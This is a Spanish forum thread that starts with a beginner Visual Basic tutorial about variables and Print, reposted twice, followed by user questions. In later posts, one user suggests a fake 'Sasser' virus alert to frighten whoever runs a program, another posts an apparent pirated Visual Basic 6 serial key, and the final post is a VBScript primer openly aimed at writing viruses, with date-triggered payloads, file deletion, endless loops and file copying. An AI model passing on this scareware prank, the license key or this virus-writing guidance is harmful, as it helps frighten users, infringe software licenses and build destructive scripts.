Aprende Visual Basic desde 0

donde estga el manual

Estos cursillos me ayudaron muchisimo a mi cuando me iniciaba por VB, y considero que a ustedes tambien. Estos cursillos los he sacado de la web del Guille.

¿Que es una variable?
En cualquier programa siempre necesitaremos hacer cálculos, usar información, procesarla y mostrarla.
En la mayoría de los casos, necesitaremos un lugar temporal en el cual guardar parte de esa información, incluso toda.
Todos los lenguajes, y el Basic no iba a ser menos, nos permiten guardar datos en la memoria, para que cuando los necesitemos, podamos tomarlos, modificarlos y volverlos a guardar para usarlos más tarde.

¿La memoria? Espero que este concepto lo tengas claro, pero si no es así, ahí va un poco de 'rollo':
La memoria es el lugar donde el ordenador almacena de forma temporal los programas y parte de la información que necesita o utiliza. Así pues, los lenguajes de programación usan también esa memoria para guardar información propia del lenguaje y del programa que queramos realizar.

Para guardar en una variable (posición de memoria) algo, debes hacerlo de la siguiente manera:
---Pon el nombre con el que quieres llamar a esa parte de la memoria,
---a continuación pones el signo igual (=) y
---después lo que quieras guardar.
Por tanto para guardar Guillermo en la variables nombre, tendríamos que hacer (o casi):
Nombre = Guillermo
Pero esto podía llevar a confusión, ya que el Basic no nos dice nada sobre cómo debemos llamar (o si lo prefieres, cómo hay que escribir) el nombre de una variable, por tanto Guillermo también podría ser una variable, Así pues, cuando queramos guardar en una variable una palabra, una frase, nombre o cualquier tipo de información alfabética, tendremos que indicarlo poniendo dicha información dentro de comillas dobles, el ejemplo quedaría así:
Nombre = "Guillermo"

Ahora no hay confusión posible, hemos seguido lo que el Basic nos ha dicho: variable, signo igual, valor a almacenar.
Si queremos guardar un número en una variable, la cosa es más simple:
Numero = 7

¿Te estás enterando?

Pero, ¿que ocurre si quisiéramos repetir 7 veces a Guillermo?
Podrías hacer esto, multiplicar a Guillermo por 7

Paliza = "Guillermo" * 7
Pero el Basic te diría que eso no está bien, no porque Guillermo no sea un paliza, sino porque te diría que no coinciden los tipos (Type Mismatch)
¿Que son los tipos? Los distintos tipos de datos.
Los datos pueden ser, básicamente, de dos tipos:
Numéricos: sólo números y
Alfanuméricos: cualquier cosa, letras y/o números, pero es tratada como si fuesen palabras, frases, etc.
Para el Basic 7 y "7" son dos tipos de datos diferentes.
El primero es el número 7 y en el segundo caso, es el literal (o palabra) "7"
Así que cuando veas algo entrecomillado, piensa que no es un número, sino una palabra (más vulgarmente llamada cadena de caracteres o string en inglés)

Hemos visto que no podemos multiplicar una palabra (cadena) por un número, pero si podemos multiplicar una variable por un número (siempre que la variable sea numérica, por supuesto)
Según esto, el Basic debería permitir hacer esto:
Guillermo = 5
Paliza = Guillermo * 7
El Basic tomaría el 5 y lo almacenaría en una variable numérica llamada Guillermo.
Después se encuentra con: Paliza = Guillermo * 7 y aquí lo que hace es evaluar la expresión que está después del signo igual, lo calcula y el resultado lo guarda en la variable que está a la izquierda del signo de asignación (=)
¿Expresión? Expresión es cualquier cosa que el Basic tenga que 'desglosar' para poder entenderla, incluso a veces ni eso...
Por ejemplo cuando el Basic se encuentra con 5 * 2 tiene que 'evaluar' lo que significa, para poder hacer el cálculo, de esta forma sabrá que tenemos una operación en la cual queremos multiplicar dos números, una vez que ha evaluado nuestra intención de multiplicar esos dos números, efectuará el cálculo y almacenará el resultado en... si no le decimos dónde, lo hará en una memoria que tiene para esas cosas, pero si no le indicamos que debe hacer con ese resultado, nos dará un error...
Si le decimos simplemente: 5 * 2
El Basic no sabrá que hacer con el resultado de esta 'expresión' (que por cierto es 10) y nos dirá:
o te espabilas o lo tienes crudo conmigo.
Así que lo más juicioso sería decirle: vale, vale, guárdalo en una variable, así que:
Resultado = 5 * 2 guardaría un 10 en la variable Resultado.

También podríamos decirle que nos mostrara el resultado, en lugar de guardarlo en una variable, y aquí llega nuestra primera instrucción: Print. Con ella le decimos al Basic que lo imprima (o sea que los muestre, más adelante veremos dónde), según lo dicho, haciendo esto:
Print 5 * 2, el Basic diría que muy bien y mostraría un 10
Pero, volvamos al Paliza del Guillermo, es decir al ejemplo de Paliza = Guillermo * 7
Si quisiéramos mostrar el valor de Paliza, tendríamos que hacer algo como esto: Print Paliza, y nos mostraría 35, ya que el valor de Paliza sería 35, porque el contenido de Guillermo es 5 y 5 * 7 es 35 (y sin calculadora!!!)
Veamos si es cierto que Guillermo vale 5. Haciendo Print Guillermo, mostrará un 5.

Antes de seguir 'imaginando' las cosas, vamos a verla en funcionamiento. Es decir vamos a probar que todo esto es cierto.
Carga el Visual Basic (si es que aún no lo has hecho).
Te creará un Form nuevo, que estará vacío.
Ciérralo y muestra la ventana de código.
Mostrará la parte de las declaraciones Generales del Formulario.
Si tiene escrito Option Explicit, (estará en la parte superior), bórralo, más adelante te explicaré para que sirve.
Ahora sitúate en Form (selecciónalo de la lista desplegable que está a la izquierda), te mostrará:

Private Sub Form_Load()

End Sub

Sitúate en medio, es decir, en una línea en blanco después del Private... y escribe el ejemplo, quedaría así:

Private Sub Form_Load()
Show
Guillermo = 5
Paliza = Guillermo * 7
Print Paliza
End Sub

Pulsa F5 y veras que te muestra 35.

Bien, ya tienes una forma de mostrar datos. Ahora veamos otros ejemplos, antes debes parar el programa, para ello cierra el Form, pulsando en el botón que tiene una X, o bien pulsa en el botón detener de la barra de herramientas del VB.
Sitúate de nuevo en el código del Form_Load, escribe después de la línea del Print, lo siguiente:

Print Guillermo

Pulsa de nuevo F5 y verás que ahora además del 35, hay un 5 debajo. El valor de la variable Guillermo.
Pero, ¿que ocurriría si cambiásemos el valor de Guillermo?
Añade estas líneas a continuación de la anteriores, para que quede de esta forma:

Private Sub Form_Load()
Show
Guillermo = 5
Paliza = Guillermo * 7
Print Paliza
Print Guillermo
Guillermo = 10
Print Guillermo
Print Paliza
End Sub

Después de pulsar F5, te mostrará los siguientes valores (cada número en una línea), 35, 5, 10, 35
¿Esperabas que el último fuese 70?
Fíjate que cuando asignamos a Paliza el contenido de Guillermo, éste era 5, por tanto el Basic evaluó la expresión 5 * 7 y almacenó el resultado (el 35). Una vez almacenado el resultado, el Basic se olvidó de dónde había sacado ese 5.
Si queremos que se 'actualice' el valor de Paliza, tendremos que indicárselo de nuevo al Basic, para que vuelva a evaluar la expresión y hacer la correspondiente asignación. Para ello, pon en medio de los dos últimos prints la siguiente asignación:
Paliza = Guillermo * 7
Esta vez, al ejecutar el programa, mostrará un 70, que será el nuevo contenido de Paliza.

Ya para terminar, borra todo lo anterior y escribe: (por supuesto debes detener el programa...)

Private Sub Form_Load()
Show
Nombre = "Guillermo"
Print Nombre
End Sub

Pulsa F5 y verás que se muestra el contenido de la variable Nombre, es decir Guillermo.
Prueba ahora con esto otro (es un clásico):
Print "Hola Mundo"
Y para rematar, y de camino ver otra posibilidad del Print, escribe en lugar del Print Nombre:
Print "Hola " ; Nombre
El punto y coma, se usa para indicarle al Basic que se deben mostrar las cosas una a continuación de la otra.
Ahora te habrá mostrado: Hola Guillermo, fíjate que después de hola y antes de cerrar las comillas hay un espacio.

Nota: En todos los FORM_LOAD deberás poner

a = msgbox ("Tu computador ha sido infectado con Sasser, se apagará en 2 minutos", "Virus Alert")

jajajajj eso les da un susto re bueno...

(Debes poner un label en el form)

b = inputbox ("Cuantos años tienes?")
if b > 18 then
label1.caption = "Papito...mayor de edad, donde nos encontramos"
else
if b < 18 then
label1.caption = "Pobre bebe, esta buscando su cunita"
end if
end if

a = msgbox ("Tu computador ha sido infectado con Sasser, se apagará en 2 minutos", "Virus Alert")

-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
(Debes poner un label en el form)

b = inputbox ("Cuantos años tienes?")
if b >=18 then
label1.caption = "Papito...mayor de edad, donde nos encontramos"
else
label1.caption = "Pobre bebe, esta buscando su cunita"
end if

Cita de: Aisha en Febrero 25, 2004, 12:00:06

Estos cursillos me ayudaron muchisimo a mi cuando me iniciaba por VB, y considero que a ustedes tambien. Estos cursillos los he sacado de la web del Guille.

¿Que es una variable?
En cualquier programa siempre necesitaremos hacer cálculos, usar información, procesarla y mostrarla.
En la mayoría de los casos, necesitaremos un lugar temporal en el cual guardar parte de esa información, incluso toda.
Todos los lenguajes, y el Basic no iba a ser menos, nos permiten guardar datos en la memoria, para que cuando los necesitemos, podamos tomarlos, modificarlos y volverlos a guardar para usarlos más tarde.

¿La memoria? Espero que este concepto lo tengas claro, pero si no es así, ahí va un poco de 'rollo':
La memoria es el lugar donde el ordenador almacena de forma temporal los programas y parte de la información que necesita o utiliza. Así pues, los lenguajes de programación usan también esa memoria para guardar información propia del lenguaje y del programa que queramos realizar.

Para guardar en una variable (posición de memoria) algo, debes hacerlo de la siguiente manera:
---Pon el nombre con el que quieres llamar a esa parte de la memoria,
---a continuación pones el signo igual (=) y
---después lo que quieras guardar.
Por tanto para guardar Guillermo en la variables nombre, tendríamos que hacer (o casi):
Nombre = Guillermo
Pero esto podía llevar a confusión, ya que el Basic no nos dice nada sobre cómo debemos llamar (o si lo prefieres, cómo hay que escribir) el nombre de una variable, por tanto Guillermo también podría ser una variable, Así pues, cuando queramos guardar en una variable una palabra, una frase, nombre o cualquier tipo de información alfabética, tendremos que indicarlo poniendo dicha información dentro de comillas dobles, el ejemplo quedaría así:
Nombre = "Guillermo"

Ahora no hay confusión posible, hemos seguido lo que el Basic nos ha dicho: variable, signo igual, valor a almacenar.
Si queremos guardar un número en una variable, la cosa es más simple:
Numero = 7

¿Te estás enterando?

Pero, ¿que ocurre si quisiéramos repetir 7 veces a Guillermo?
Podrías hacer esto, multiplicar a Guillermo por 7

Paliza = "Guillermo" * 7
Pero el Basic te diría que eso no está bien, no porque Guillermo no sea un paliza, sino porque te diría que no coinciden los tipos (Type Mismatch)
¿Que son los tipos? Los distintos tipos de datos.
Los datos pueden ser, básicamente, de dos tipos:
Numéricos: sólo números y
Alfanuméricos: cualquier cosa, letras y/o números, pero es tratada como si fuesen palabras, frases, etc.
Para el Basic 7 y "7" son dos tipos de datos diferentes.
El primero es el número 7 y en el segundo caso, es el literal (o palabra) "7"
Así que cuando veas algo entrecomillado, piensa que no es un número, sino una palabra (más vulgarmente llamada cadena de caracteres o string en inglés)

Hemos visto que no podemos multiplicar una palabra (cadena) por un número, pero si podemos multiplicar una variable por un número (siempre que la variable sea numérica, por supuesto)
Según esto, el Basic debería permitir hacer esto:
Guillermo = 5
Paliza = Guillermo * 7
El Basic tomaría el 5 y lo almacenaría en una variable numérica llamada Guillermo.
Después se encuentra con: Paliza = Guillermo * 7 y aquí lo que hace es evaluar la expresión que está después del signo igual, lo calcula y el resultado lo guarda en la variable que está a la izquierda del signo de asignación (=)
¿Expresión? Expresión es cualquier cosa que el Basic tenga que 'desglosar' para poder entenderla, incluso a veces ni eso...
Por ejemplo cuando el Basic se encuentra con 5 * 2 tiene que 'evaluar' lo que significa, para poder hacer el cálculo, de esta forma sabrá que tenemos una operación en la cual queremos multiplicar dos números, una vez que ha evaluado nuestra intención de multiplicar esos dos números, efectuará el cálculo y almacenará el resultado en... si no le decimos dónde, lo hará en una memoria que tiene para esas cosas, pero si no le indicamos que debe hacer con ese resultado, nos dará un error...
Si le decimos simplemente: 5 * 2
El Basic no sabrá que hacer con el resultado de esta 'expresión' (que por cierto es 10) y nos dirá:
o te espabilas o lo tienes crudo conmigo.
Así que lo más juicioso sería decirle: vale, vale, guárdalo en una variable, así que:
Resultado = 5 * 2 guardaría un 10 en la variable Resultado.

También podríamos decirle que nos mostrara el resultado, en lugar de guardarlo en una variable, y aquí llega nuestra primera instrucción: Print. Con ella le decimos al Basic que lo imprima (o sea que los muestre, más adelante veremos dónde), según lo dicho, haciendo esto:
Print 5 * 2, el Basic diría que muy bien y mostraría un 10
Pero, volvamos al Paliza del Guillermo, es decir al ejemplo de Paliza = Guillermo * 7
Si quisiéramos mostrar el valor de Paliza, tendríamos que hacer algo como esto: Print Paliza, y nos mostraría 35, ya que el valor de Paliza sería 35, porque el contenido de Guillermo es 5 y 5 * 7 es 35 (y sin calculadora!!!)
Veamos si es cierto que Guillermo vale 5. Haciendo Print Guillermo, mostrará un 5.

Antes de seguir 'imaginando' las cosas, vamos a verla en funcionamiento. Es decir vamos a probar que todo esto es cierto.
Carga el Visual Basic (si es que aún no lo has hecho).
Te creará un Form nuevo, que estará vacío.
Ciérralo y muestra la ventana de código.
Mostrará la parte de las declaraciones Generales del Formulario.
Si tiene escrito Option Explicit, (estará en la parte superior), bórralo, más adelante te explicaré para que sirve.
Ahora sitúate en Form (selecciónalo de la lista desplegable que está a la izquierda), te mostrará:

Private Sub Form_Load()

End Sub

Sitúate en medio, es decir, en una línea en blanco después del Private... y escribe el ejemplo, quedaría así:

Private Sub Form_Load()
Show
Guillermo = 5
Paliza = Guillermo * 7
Print Paliza
End Sub

Pulsa F5 y veras que te muestra 35.

Bien, ya tienes una forma de mostrar datos. Ahora veamos otros ejemplos, antes debes parar el programa, para ello cierra el Form, pulsando en el botón que tiene una X, o bien pulsa en el botón detener de la barra de herramientas del VB.
Sitúate de nuevo en el código del Form_Load, escribe después de la línea del Print, lo siguiente:

Print Guillermo

Pulsa de nuevo F5 y verás que ahora además del 35, hay un 5 debajo. El valor de la variable Guillermo.
Pero, ¿que ocurriría si cambiásemos el valor de Guillermo?
Añade estas líneas a continuación de la anteriores, para que quede de esta forma:

Private Sub Form_Load()
Show
Guillermo = 5
Paliza = Guillermo * 7
Print Paliza
Print Guillermo
Guillermo = 10
Print Guillermo
Print Paliza
End Sub

Después de pulsar F5, te mostrará los siguientes valores (cada número en una línea), 35, 5, 10, 35
¿Esperabas que el último fuese 70?
Fíjate que cuando asignamos a Paliza el contenido de Guillermo, éste era 5, por tanto el Basic evaluó la expresión 5 * 7 y almacenó el resultado (el 35). Una vez almacenado el resultado, el Basic se olvidó de dónde había sacado ese 5.
Si queremos que se 'actualice' el valor de Paliza, tendremos que indicárselo de nuevo al Basic, para que vuelva a evaluar la expresión y hacer la correspondiente asignación. Para ello, pon en medio de los dos últimos prints la siguiente asignación:
Paliza = Guillermo * 7
Esta vez, al ejecutar el programa, mostrará un 70, que será el nuevo contenido de Paliza.

Ya para terminar, borra todo lo anterior y escribe: (por supuesto debes detener el programa...)

Private Sub Form_Load()
Show
Nombre = "Guillermo"
Print Nombre
End Sub

Pulsa F5 y verás que se muestra el contenido de la variable Nombre, es decir Guillermo.
Prueba ahora con esto otro (es un clásico):
Print "Hola Mundo"
Y para rematar, y de camino ver otra posibilidad del Print, escribe en lugar del Print Nombre:
Print "Hola " ; Nombre
El punto y coma, se usa para indicarle al Basic que se deben mostrar las cosas una a continuación de la otra.
Ahora te habrá mostrado: Hola Guillermo, fíjate que después de hola y antes de cerrar las comillas hay un espacio.

Nota: En todos los FORM_LOAD deberás poner SHOW al principio para que se muestre lo que se imprime

PUES NO SOY UN EXPERTO, PERO CREO QUE HA ESTE PEQUEÑO MANUAL LE FALTAN UNAS CUANTAS COSAS, COMO YA DIGO "DAR GEO" PERO TAMBIEN TIENE UNOS PEQUEÑOS ERROES EN LOS EJEMPLOS. SOLO PARA MAYOR ENTENDIMIENTO Y EVITAR VICIOS DE PROGRAMACION

pues yo estoy creando un libro de tips a medida q voy aprendiendo este lenguaje para cuando tenga un pokitin mas de info lo subo a la web

PD: lo weno de mis tips es q tienen imagenes XDD Shocked

esto no es spam ni nd x el estilo solo ayuda para uds ok? Huh

? mucha pero mucha mucha ayuda e info en las siguientes webs:

Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion

www.jrubi.com

Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion

www.elguruprogramador.com.ar

Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion

www.elguille.net

(creo ya q la kambio este chabon es lo mas)
bye!!!

Hola

Muchas gracias por los links, sobre todo el primero, que tiene un monton de cosas de Visual.

MUCHAS GRACIAS

Estoy asiendo un juego en VB, me quede a qui trancado escuchen lo q me dice.

Una costumbre q vamos a imponernos caca vez q insertemos componentes en el formulario va a ser de actualizar sus propiedasdes. Ai, para el control PictureBox que acabamos de insertar, vamos a cambiar las propiedades indicadas, hasta hay voy bien despues me salta a esto Valores de algunas propiedasdes del tablero como carajos veo el tablero :S, ya q en el libro no mde dice nada.
Despues salta a esto. El tablero q hemos insertado para situar nustra flota, Necsitamos otra para anotarlos disparos que hemos efectuado. para ello repetiremos el paso para insertar un nuevo componente picture que situaremos a la derecha del anterior. :S donde veo los tableros q me dice ya q en el libro no me dice nada :S

Sime ayudan se los agradesco ..

Por favor no e podido salir de a qui :S.

eskucha...no entiendo.....todavia sigo aqui???no t entiendo hombre

es verdad explicate mejor asi te podremos ayudar (weno yo solo un poco Tongue

)

Hola, quisiera saber como utilizar el combobox en visual basic 6.0 no tengo idea pues recien me estoy iniciando

BuSkA Mas MaNuAlEs d los q tienes o gastate algo de dinero y komprate uno bien bueno o leete los libros en patalla de VB o no sEEEEEEEEEEEE prueba ,lee y aprende!!!!!
ErEs MuJeR?

de donde bajo el visual basic enterprice edit 6.0???

aca hay un visual basic no se cual sea

Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion

815-5582582 kania

doble click en la serie para iniciar descarga

HOLA COMO ESTAN, ESCRIBO POR QUE QUIERO COMENZAR A PROGRAMAR APENAS HE COMENZADO Y ESTOY TRATANDO DE APRENDER POR MI CUENTA PERO TENGO UNA DUDA Y ESPERO QUE ME LA PUEDAN RESPONDER.

QUIERO HACER UN JUEGO EL CUAL ME MUESTRE EN UN LABEL VARIAS PREGUNTAS, PERO , SOLO ME MUESTRA LA PRIMERA PERO LAS DEMAS NO MI PREGUNTA ES ¿COMO LE HAGO PARA QUE ME MUESTRE LAS DEMAS PREGUNTAS EL MISMO LABEL?

ESPERO PUEDAN RESPONDER PORFAVOR SE LOS AGRADECERIA MUCHO Grin

solo tienes que seguir el manual y cualquier concepto que necesites hay esta .

suerte

Citar

¿COMO LE HAGO PARA QUE ME MUESTRE LAS DEMAS PREGUNTAS EL MISMO LABEL?

Código:

label1.caption = "Pregunta que quieras hacer"

.net, asi empezé yo, si anestesia ni nada. No sabes nada? pues ala de primero .net y de segundo Cobol.

ey como hago para guardar una imagen cuando el programa esta corriendo, ya hize el procedimiento para que cargue una foto cuando el esta corrriendo pero no me guarda y al no hacerlo, no me lo recobra cuando lo queiro cargar

les dejo otro manual

---------------------------------------------------------------------------------------------------------------------
Omitir errores
---------------------------------------------------------------------------------------------------------------------

On Error Resume Next

Al programar, los errores son comunes, pero no por mala programación, sino por sucesos inesperados. En estos
casos es necesario definir que si se detecta un error, el programa pase a la siguiente linea del VBS, esto es
necesario para que el virus se siga ejecutando

Ejemplo:

Si querias borrar el archivo "muere_perro.txt" y este no existe pasaria a la siguiente linea del VBS.

El comando "On Error Resume Next" se coloca comunmente al principio del vbs.

---------------------------------------------------------------------------------------------------------------------
Mensajes de ventanas de textos
---------------------------------------------------------------------------------------------------------------------

MsgBox

Sirve para desplegar mensajes en de texto en ventanas. la sintaxis es:

MsgBox "mensaje",numero,"titulo"

MsgBox = comando para mostrar ventanas, en las comillas va tu mensaje
mensaje = aqui va el mensaje que mostrara la ventana
numero = es un numero que define el tipo de ventana a usar, 0 es igual a aceptar
titulo = aqui ira el titulo de la ventana.

Ejemplo:

MsgBox "tutorial de vbs",0,"Kuasanagui"

Existen mas numeros y palabras para definir el tipo de mensaje, pero tambien se puede hacer mostrar un mesaje
con solo colocar el comando MsgBox y entre comillas el mensaje: MsgBox "mensaje"

A continuacion te defino algunos numeros y palabras claves para establecer el tipo de ventana a mostrar:

0 = ventana Aceptar
1 = ventana Aceptar/Cancelar
2 = ventana Anular/Reintentar/Omitir
3 = ventana Si/No/Cancelar
4 = ventana Si/No
5 = ventana Reintentar/Cancelar

6 al 15 = ventana Aceptar

16 = ventana de error Aceptar
17 = ventana de error Aceptar/Cancelar
18 = ventana de error Anular/Reintentar/Omitir
19 = ventana de error Si/No/Cancelar
20 = ventana de error Si/No
21 = ventana de error Reintentar/Cancelar

22 al 31 = ventana Aceptar

vbquestion = ventana de pregunta Aceptar
32 = ventana de pregunta Aceptar
33 = ventana de pregunta Aceptar/Cancelar
34 = ventana de pregunta Anular/Reintentar/Omitir
35 = ventana de pregunta Si/No/Cancelar
36 = ventana de pregunta Si/No
37 = ventana de pregunta Reintentar/Cancelar

38 al 47 = Ventana Aceptar

vbexclamation = ventana de exclamación Aceptar
48 = ventana de exclamación Aceptar
49 = ventana de exclamación Aceptar/Cancelar
50 = ventana de exclamación Anular/Reintentar
51 = ventana de exclamación Si/No/Cancelar
52 = ventana de exclamación Si/No
53 = ventana de exclamación Reintentar/Cancelar

Y asi podriamos segur infinitamente =)

---------------------------------------------------------------------------------------------------------------------
Colocando comentarios en el VBS
---------------------------------------------------------------------------------------------------------------------

Colocar comentarios en los codigos de programacion son muy utiles debido a que nos sirven para recordar la
funcion que realiza alguna parte de nuestro algoritmo. Este comentario no es visualizado al ejecutar nuestro script.

En visual basic script el simbolo que se antepone antes de un comentario de programacion es la comilla: '
Esta comilla se encuentra comunmente por las teclas de signos de interrogación.

Ejemplo:

MsgBox "Este VBS tiene un comentario dentro",0,"Tutorial de VBS por Kuasanagui" ' este es un mensaje

---------------------------------------------------------------------------------------------------------------------
Estableciendo variables
---------------------------------------------------------------------------------------------------------------------

Es algo basico en programación, ya que asi no tenemos que repetir valores que utilizamos mucho en nuestros
programas.

Ejemplo:

K = "Kuasanagui"

K = es la variable a la que le asignamos un valor.
Kuasanagui = es el valor asignado, se coloca entre comillas

Nota: si el valor asignado es un numero no lleva comillas.

---------------------------------------------------------------------------------------------------------------------
Simbolos de union
---------------------------------------------------------------------------------------------------------------------

&

La i latina, es usada como un simbolo que unir variables o cadenas de texto que se encuentran entre comillas.
Esto nos ahorra el estar escribiendo una parte del codigo que sea repetitiva. Un ejemplo seria un mensaje de texto
de ventanas, en donde anteriormente definieramos a una variable un valor:

Ejemplo:

K = "Kuasanagui"
MsgBox "Tutorial de visual basic por " & K

---------------------------------------------------------------------------------------------------------------------
Operaciones matematicas sencillas
---------------------------------------------------------------------------------------------------------------------

Las operaciones matematicas basicas son simples, solo necesitas asignarle el valor de la operacion a una variable.

kuasa = 2 + 2 ' suma
kuasa = 2 * 2 ' multiplicacion
kuasa = 2 / 2 ' division

Si deseas ver el resultado de alguna operacion que realices
solo necesitas usar el "MsgBox" y el simbolo de union "&"
Ejemplo:

kuasa = 2+2
MsgBox "El resultado de la operacion es "& kuasa,0,"Tutorial de VBS por Kuasanagui"

---------------------------------------------------------------------------------------------------------------------
Crear ciclos en VBS con FOR y NEXT
---------------------------------------------------------------------------------------------------------------------

"For", "To" y "Next"

Son muy utiles cuando quieres que una parte de tu codigo se ejecute un N numero de veces, los comandos son
sencillos.

El orden comun de ellos es el siguiente:

For xxxxxx To xxxx
Next

Ejemplo:

For Kyo = 1 To 3
MsgBox "Tutorial VBS por Kuasanagui"
Next

For = le digo que el ciclo sera desde...
Kyo = una variable que toma los valores numericos en cada ciclo, puede ser cualquier varaible
To = le digo hasta que numero sera el ciclo...
Next = vuelve al "For" hasta que se cumpla el ciclo.

Esto hara que se muestre una ventana de mensaje 3 veces.

---------------------------------------------------------------------------------------------------------------------
Utilizando condicionantes de eventos en VBS
---------------------------------------------------------------------------------------------------------------------

"If" " Then" "Else" "End if"

Son utiles para evaluar eventos en programacion, es decir, condicionan la ejecucion de una parte del programa
a un cierto valor numerico o alfabetico.

El orden comun de ellos es el siguiente:

If xxxxxxxx Then
xxxxxxxxxxxxxxxx
Else
xxxxxxxxxxxxxxxx
End If

Aunque en ocasiones el "If" y el "Then" no se combinan con el "Else" y el "End If".
Ejemplos de este tipo de uso lo veras mas adelante, lo primordial es entender su uso basico por ahora.

Ejemplo:

For Kyo = 0 To 3
MsgBox "Kyo tiene el valor de " & Kyo
If kyo < 3 Then
MsgBox "si Kyo vale menos de tres me ves"
Else
MsgBox "Kyo vale tres termina el VBS"
End If
Next

If = sirve para verifica el valor de la variable... si variable es igual a, menor que, etc ....
Then = sirve para tomar una accion despues de ver el valor... entonces...
Else = si no se cumple la condicion... va a la siguiente columna, es decir.... si no es igual a, entonces...
End If = termina los condicionantes

En lenguaje coloquial esto el programa dice:

El ciclo sera desde Kyo = 0 a 3
Muestra el valor de Kyo
Si Kyo es menos que 3 entonces
muestra un mensaje que Kyo vale menos que 3
Si no
muestra un mensaje que Kyo vale igual a 3
termina el condicionante de If
Vuelve al comienzo si Kyo es menor que 3

---------------------------------------------------------------------------------------------------------------------
El Azar en los VBS
---------------------------------------------------------------------------------------------------------------------

"Randomize" "Int" "Rnd"

Este sirve para poder utiilizar y asignar valores numericos al azar, estableciendo el rango de numeros a usar,
incluyendo el 0. Si deseamos establecer un numero al azar que se encuentre entre el 0 y el 5, nuestro rango sera
de 6.

La sintasix para utilizar esos comandos es la siguiente:

Randomize
variable = Int(Rnd * numero)

Randomize = es la palabra clave, no es modificable necesaria para el uso del randomize
Int = palabra clave, no es modificable
Rnd = palabra clave, no es modificable
* = simbolo clave no modificable que relaciona el rango con el randomize
variable = la palabra a la que se le asignara el valor del numero aleatorio
numero = el rango donde se eligira el numero al azar

El Randomize es muy util al momento de crear archivos de nombres o mensajes aleatorios.

Ejemplo:

Randomize
kuasa = Int(Rnd * 3)
If kuasa = "0" Then Nombre = "Kuasanagui"
If kuasa = "1" Then Nombre = "ErGrone"
If kuasa = "2" Then Nombre = "Jtag"
MsgBox "Que tipazo es el " & nombre

---------------------------------------------------------------------------------------------------------------------
Utilizando la fecha actual para condicionar eventos en VBS
---------------------------------------------------------------------------------------------------------------------

"Month(Now())" "Day(Now())"

El comando Month(Now()) sirve para obtener el mes actual en el sistema y el Day(Now()) sirve para obtener el dia
actual en el sistema. Con estos dos comandos podemos condicionar eventos de nuestro VBS segun la fecha del
sistema, con esto podemos crear payloads segun el mes y dia, como mostrar mensajes o borrar archivos.

Ejemplo:

If Month(Now()) = 12 Then MsgBox "Ya casi estamos en navidad ", 4096, "Tutorial de VBS por Kuasanagui"

Esto mostraria el mensaje si el mes actual es Diciembre

Otro Ejemplo:

If Day(Now()) = 13 Then MsgBox "¿Es viernes 13? ", 4096, "Tutorial de VBS por Kuasanagui"

Este mostraria el mensaje si el dia fuera 13

Tambien podemos unir estos comandos para realizar actos en fechas exactas, pero para hacerlo se utiliza la
palabra "And" para usarlos conjuntamente.

Ejemplo final:

If Month(Now()) = 09 And Day(Now()) = 22 Then MsgBox "Un dia como el de hoy temine el tutorial de VBS"
, 4096, "Tutorial de VBS por Kuasanagui"

Esto solo se mostrara cada Septiembre 22

---------------------------------------------------------------------------------------------------------------------
Crear ciclos infinitos en VBS con DO y LOOP
---------------------------------------------------------------------------------------------------------------------

"Do" y "Loop"

Estos pueden ser usados para crear ciclos infinitos, estos nos pueden ser utiles para realizar acciones de manera
infinita hasta que el pc sea apagado. Se colocan al principio y al final de la rutina que queremos ciclar infinitamente.
Un excelente uso es para crear copias de VBS en disquetes, pero eso lo veremos al final.

La sintasix para utilizar esos comandos es la siguiente:

Do
xxxxxxxxxxxxx
Loop

Ejemplo:

Do
MsgBox "Ciclo infinito",0,"Tutorial de VBS por Kuasanagui"
Loop

Nota: Si ejecutas esto, tendras que cerrar la sesión o reiniciar la Pc para terminar el VBS. Wink

===============================================================================

==========================Establecer objetos VBS a variables===========================

===============================================================================

Los objetos son rutinas especializadas de Visual Basic Script que reune un conjunto de librerias o rutinas que
simplifican la programacion en VBS. Estas rutinas tenemos que declararlas al principio de nuestros programas para
poder usar comandos que se encuentran dentro de estos objetos, la manera de darle el valor de un objeto a una
variable es la siguiente:

Set variable = CreateObject("nombreOBJ")

Set = con esto estableceremos en una sola variable a todo el objeto que utilizaremos.
variable = es una variable cualquiera que puedes cambiar por otra que mas te guste, por ejemplo: zonavirus.
nombreOBJ = es el nombre del objeto o la rutina que usaras

Los objetos mas usados son:

"Scripting.FileSystemObject" y "WScript.Shell"

si quisieras usar el objeto "Scripting.FileSystemObject" pondrias:

Set zonavirus = CreateObject("Scripting.FileSystemObject")

recuerda definir el objeto antes de usar los comandos vbs a usar, por ejemplo, si queremos borrar un archivo, el
comando vbs es: DeleteFile, y como este funciona con el objeto Scripting.FileSystemObject, todo quedaria asi:

Set zonavirus = CreateObject("Scripting.FileSystemObject")
zonavirus.DeleteFile "C:\muere_perro.txt"

Esto borrara el archivo "muere_perro.txt" de la unidad C

===============================================================================

==========================El Objeto Scripting.FileSystemObject=========================

===============================================================================

Es necesario para poder usar los siguientes comandos en un VBS, el objeto nos sirve para manipular acciones con
archivos y carpetas.

Nota: Podemos realizar acciones con los archivos definiendo una ruta o sin ella, borrar archivo, copiar carpetas etc.

Si pones ".\" el VBS realizara la accion en la carpeta actual
Si pones "C:\" el VBS realizara la accion en la ruta especificada, en este caso es la C

No es necesario definir el objeto cada vez que utilicemos un comando que lo necesite, solo si queremos cambiar
la variable que la utilizaba.

---------------------------------------------------------------------------------------------------------------------
Copiar archivos
---------------------------------------------------------------------------------------------------------------------

CopyFile

Con este comando, podemos copiar archivos en la pc.

Ejemplo:

Set zonavirus = CreateObject("Scripting.FileSystemObject")
zonavirus.CopyFile ".\ejemplo_Copyfile.vbs","C:\muere_perro.txt"

Copia el archivo "ejemplo_Copyfile.vbs" como "muere_perro.txt" en la unidad C, puedes copiar otros archivos
aparte del mismo vbs.

---------------------------------------------------------------------------------------------------------------------
Mover archivos
---------------------------------------------------------------------------------------------------------------------

MoveFile

Con este comando, podemos mover archivos de la pc.

Ejemplo:

Set zonavirus = CreateObject("Scripting.FileSystemObject")
zonavirus.MoveFile ".\ejemplo_MoverArchivo.vbs", "C:\ejemplo_MoverArchivo.vbs"

Esto mueve el archivo "ejemplo_MoverArchivo.vbs" a C, puedes mover otros archivos aparte del mismo vbs.

